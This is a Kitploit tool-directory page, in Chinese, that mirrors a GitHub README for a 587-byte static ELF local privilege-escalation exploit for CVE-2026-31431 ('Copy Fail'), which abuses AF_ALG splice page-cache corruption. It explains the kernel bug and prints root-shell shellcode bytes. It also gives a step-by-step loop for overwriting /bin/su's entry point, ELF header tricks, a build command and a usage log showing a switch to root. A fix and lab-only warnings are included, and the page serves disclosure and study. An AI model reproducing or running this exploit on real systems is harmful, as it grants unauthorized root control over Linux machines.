Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431-CopyFail-static-ELF--POC — 最小化 587 字节静态 ELF 漏洞利用,针对 CVE-2026-31431,通过 AF_ALG splice 页缓存损坏实现本地权限提升。无 libc 或运行时依赖。 | Kitploit
工具/GitHubGitHub/rat5ak/cve-2026-31431-copyfail-static-elf--poc
权限提升漏洞利用框架漏洞分析漏洞利用Payload 开发二进制利用
GitHubrat5ak/cve-2026-31431-copyfail-static-elf--poc

CVE-2026-31431-CopyFail-static-ELF--POC

最小化 587 字节静态 ELF 漏洞利用,针对 CVE-2026-31431,通过 AF_ALG splice 页缓存损坏实现本地权限提升。无 libc 或运行时依赖。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
3个月前尚未审核

CVE-2026-31431: Copy Fail - 587字节静态ELF

这个漏洞不是我发现的。功劳归于 Xint Code / Theori。

这个仓库是我对如何将漏洞利用做到尽可能小的尝试——一个 手工编写的x86_64 ELF,仅用587字节完成完整的本地提权。没有libc,没有 链接器,没有运行时。只有NASM和固执。

实际上,内核通过AF_ALG + splice将写入原语交给你, 可以写入任何可读文件的页缓存。将其指向setuid 二进制的入口点,写入shellcode,执行该二进制,获得root。

关于体积的参考:原始的公开Copy Fail文章附带了一个微型 Python版本,大小为732字节。那非常厉害,但它仍然 依赖Python运行时存在。更小的是 https://kopy.fail 的524字节版本。 而这个是原始的静态ELF:没有解释器,没有libc,没有链接器,没有动态加载器。(我 妈妈说这很酷)

CVECVE-2026-31431
漏洞类别通过splice别名导致的页缓存破坏
根本原因af_alg_sendpage / splice进入AEAD请求将页缓存页别名到加密散聚输出
组件crypto/af_alg.c + crypto/algif_aead.c
影响向任何可读文件的页缓存写入受控字节
前提条件本地用户,可访问AF_ALG/AEAD支持,可读的setuid目标
利用587字节静态ELF(x86_64),单文件,零依赖

漏洞

AF_ALG允许用户空间通过套接字执行内核加密。对于像 authencesn这样的AEAD密码,内核通过带MSG_MORE的sendmsg接受数据,然后 你可以从文件描述符中splice更多数据进来。

问题所在:当你splice一个文件进来时,内核将文件的页缓存页 直接固定到加密散聚列表中。AEAD操作 随后将其输出写回那些相同的页面。内核认为它给了 加密一个读缓冲区。加密认为它得到了一个写缓冲区。没有人复制。

你作为AAD元数据提供的字节最终通过页缓存可见。 随后任何进程、任何用户(包括suid执行)对该文件的任何读取 都会看到被破坏的数据。磁盘上的文件不受影响。只有 内存中的页缓存视图发生变化。

命名

Copy Fail是页缓存/COW家族诅咒以AF_ALG的形式出现。 与Dirty COW(CVE-2016-5195)同源——“内核让你写入 你本应只能读取的内容”——但通过加密splice路径 而不是madvise/write竞争。

利用

目标:Debian Bookworm上的/bin/su(包括kernelCTF rootfs)。ELF入口 点位于文件偏移0x3910处。

28字节的shellcode将其变成root shell投放器:

root@kitploit:~
; setuid(0) - 7字节
31 ff           xor edi, edi
6a 69           push 105
58              pop rax
0f 05           syscall
; execve("/bin/sh", NULL, NULL) - 21字节
99              cdq
31 f6           xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00   movabs rbx, "/bin/sh\0"
53              push rbx
54              push rsp
5f              pop rdi
6a 3b           push 59
58              pop rax
0f 05           syscall

AEAD原语每次操作只给你4个字节——AAD的一个32位 块落在splice偏移处。28字节的shellcode ÷ 4 = 7次 穿越内核加密栈。每次迭代:

  1. socket(AF_ALG) + 使用authencesn(hmac(sha1),cbc(aes))进行bind
  2. setsockopt设置密钥和认证标签大小
  3. accept获取请求fd
  4. 使用MSG_MORE进行sendmsg——8字节的iov包含4字节AAD填充 + 4字节shellcode
  5. 通过管道从/bin/su进行splice到请求fd(定位页缓存页)
  6. recvfrom——触发AEAD处理,破坏页缓存
  7. 关闭所有内容(关键——陈旧的AF_ALG状态会破坏后续的splice)

在所有7次迭代之后,执行execve("/bin/su")。内核从 被破坏的页缓存中加载它。执行跳转到被覆盖的入口点。获得root shell。

二进制

总共587字节。其中120字节是ELF头(没有它内核不会加载你), 所以实际的利用逻辑是467字节的机器码 + 数据。

以下是ELF头中各部分的位置:

root@kitploit:~
偏移      字段            实际用途
------  -----           ----------
0x00    e_ident[0:8]    魔数 + ELF类别(必需)
0x08    e_ident[8:16]   加密密钥材料(内核忽略这些字节)
0x28    e_shoff         "/bin/su\0"字符串(内核对ET_EXEC忽略)

内核只查看e_ident[0:7]、e_type、e_machine、e_entry、 e_phoff、e_phnum以及phdr本身。其他一切都是自由空间。

其他体积技巧:

  • 单个RWX PT_LOAD,BSS用于88字节的sockaddr_alg(内核将其清零)
  • 所有系统调用编码为push imm8 / pop rax / syscall(每个3字节)
  • r14中的循环计数器从24→0递减,步长-4,兼作shellcode索引
  • 选择能在系统调用间存活的寄存器(r12=target_fd,r15=alg_fd, rbp=req_fd,rbx=shellcode_base),这样我们就不浪费字节重新加载它们

584→587的故事

第一个可用版本是584字节。它使用mov ax, 275进行第二次 splice调用(比mov eax, 275短2字节)。这赌的是第一次 splice总是成功——如果它返回负错误,rax的高48位 保持置位,而mov ax, 275只覆盖低16位。那么第二次 splice的系统调用号就是垃圾。

在我的测试内核上它总是有效。但“在测试中总是有效”不是 发布bug的好理由,如果有人在splice在内存压力下返回 EAGAIN的系统上遇到这个问题,利用程序只会段错误,没有任何 出错指示。所以多花了3个字节。

还必须在最终的execve之前添加xor esi, esi,因为recvfrom 会用缓冲区地址破坏rsi。没有它,execve会得到一个垃圾的argv 指针。又多了一个字节。

构建

root@kitploit:~
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3

需要NASM。直接生成利用二进制——无需链接步骤。

用法

root@kitploit:~
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)

不到一秒完成。成功时无输出——直接获得root shell。

受影响的内核

需要CONFIG_CRYPTO_USER_API_AEAD(内置或加载模块)以及 algif_aead中未修复的就地splice路径。这个坏代码路径可以追溯到 2017年的一次优化。检查你的发行版内核配置和补丁状态。

修复

修复方案移除了就地路径,并复制splice源页面而不是 将它们别名到加密散聚列表中。页缓存隔离 得以恢复。

别犯傻

这是KernelCTF/实验室产物。在你自己拥有或获得明确 测试许可的系统上运行。如果你在防御Linux机器,请修补内核或 限制AF_ALG/algif_aead模块加载。


Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online

下载工具